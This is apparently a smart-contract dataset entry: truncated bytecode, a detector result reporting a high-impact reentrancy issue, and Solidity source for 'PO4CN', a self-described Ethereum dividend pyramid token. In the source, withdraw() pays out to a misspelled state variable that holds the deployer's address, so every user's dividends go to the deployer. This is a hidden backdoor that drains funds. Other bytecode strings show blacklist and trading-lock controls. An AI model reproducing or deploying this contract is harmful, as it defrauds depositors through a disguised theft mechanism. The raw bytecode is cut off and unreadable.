b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d2aff42208ab6867ee44437543d05c2e9f2dcf2eb0ce6778b3865d74296b263a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,000 |
0xdd7a4cba00c62384370810f29f1f33cf7e90c3f2
|
pragma solidity 0.4.23;
/*=============================================
* Proof of 4CN (25%)
* http://www.4cn.trade/
==============================================*/
/*
__________████████_____██████
_________█░░░░░░░░██_██░░░░░░█
________█░░░░░░░░░░░█░░░░░░░░░█
_______█░░░░░░░███░░░█░░░░░░░░░█
_______█░░░░███░░░███░█░░░████░█
______█░░░██░░░░░░░░███░██░░░░██
_____█░░░░░░░░░░░░░░░░░█░░░░░░░░███
____█░░░░░░░░░░░░░██████░░░░░████░░█
____█░░░░░░░░░█████░░░████░░██░░██░░█
___██░░░░░░░███░░░░░░░░░░█░░░░░░░░███
__█░░░░░░░░░░░░░░█████████░░█████████
_█░░░░░░░░░░█████_████___████_█████___█
_█░░░░░░░░░░█______█_███__█_____███_█___█
█░░░░░░░░░░░░█___████_████____██_██████
░░░░░░░░░░░░░█████████░░░████████░░░█
░░░░░░░░░░░░░░░░█░░░░░█░░░░░░░░░░░░█
░░░░░░░░░░░░░░░░░░░░██░░░░█░░░░░░██
░░░░░░░░░░░░░░░░░░██░░░░░░░███████
░░░░░░░░░░░░░░░░██░░░░░░░░░░█░░░░░█
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
░░░░░░░░░░░█████████░░░░░░░░░░░░░░██
░░░░░░░░░░█▒▒▒▒▒▒▒▒███████████████▒▒█
░░░░░░░░░█▒▒███████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█
░░░░░░░░░█▒▒▒▒▒▒▒▒▒█████████████████
░░░░░░░░░░████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒█
░░░░░░░░░░░░░░░░░░██████████████████
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█
██░░░░░░░░░░░░░░░░░░░░░░░░░░░██
▓██░░░░░░░░░░░░░░░░░░░░░░░░██
▓▓▓███░░░░░░░░░░░░░░░░░░░░█
▓▓▓▓▓▓███░░░░░░░░░░░░░░░██
▓▓▓▓▓▓▓▓▓███████████████▓▓█
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓█
*/
contract PO4CN {
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "4CN Forever";
string public symbol = "4CN";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4; // 10% Dividends (In & Out)
uint constant internal tokenPriceInitial_ = 0.0000001 ether;
uint constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint constant internal magnitude = 2**64;
// proof of stake (defaults at 50 tokens)
uint public stakingRequirement = 50e18;
/*===============================
= STORAGE =
==============================*/
// amount of shares for each address (scaled number)
mapping(address => uint) internal tokenBalanceLedger_;
mapping(address => uint) internal referralBalance_;
mapping(address => int) internal payoutsTo_;
uint internal tokenSupply_ = 0;
uint internal profitPerShare_;
/*==============================
= EVENTS =
==============================*/
event onTokenPurchase(
address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint tokens
);
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/// @dev Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
function buy(address _referredBy) public payable returns (uint) {
purchaseTokens(msg.value, _referredBy);
}
/**
* @dev Fallback function to handle ethereum that was send straight to the contract
* Unfortunately we cannot use a referral address this way.
*/
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddres.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint _tokens = _amountOfTokens;
uint _ethereum = tokensToEthereum_(_tokens);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int _updatedPayouts = (int) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
/**
* @dev Transfer tokens from the caller to a new holder.
* Remember, there's a 25% fee here as well.
*/
function transfer(address _toAddress, uint _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 25% of the tokens that are transfered
// these are dispersed to shareholders
uint _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
/*=====================================
= HELPERS AND CALCULATORS =
=====================================*/
/**
* @dev Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function totalEthereumBalance() public view returns (uint) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* @dev Retrieve the dividends owned by the caller.
* If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
* The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
* But in the internal calculations, we want them separate.
*/
function myDividends(bool _includeReferralBonus) public view returns (uint) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint) {
return tokenBalanceLedger_[_customerAddress];
}
/**
* Retrieve the dividend balance of any single address.
*/
function dividendsOf(address _customerAddress) public view returns (uint) {
return (uint) ((int)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the buy price of 1 individual token.
function sellPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the sell price of 1 individual token.
function buyPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_ );
uint _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) {
uint _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) {
require(_tokensToSell <= tokenSupply_);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) {
// data setup
address _customerAddress = msg.sender;
uint _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint _referralBonus = SafeMath.div(_undividedDividends, 3);
uint _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if (
// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int _updatedPayouts = (int) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
/**
* Calculate Token price based on an amount of incoming ethereum
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint _ethereum) internal view returns (uint) {
uint _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint _tokensReceived =
(
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
/**
* @dev Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint _tokens) internal view returns (uint) {
uint tokens_ = (_tokens + 1e18);
uint _tokenSupply = (tokenSupply_ + 1e18);
uint _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/*=================================
= MODIFIERS =
=================================*/
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
address _customerAddres = msg.sender;
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c6565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a68565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b06565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b3e565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b48565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610b91565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610b96565b005b34801561030757600080fd5b50610310610d5c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610dba565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610dc0565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e2c565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e4b565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610e94565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610ef2565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f07565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101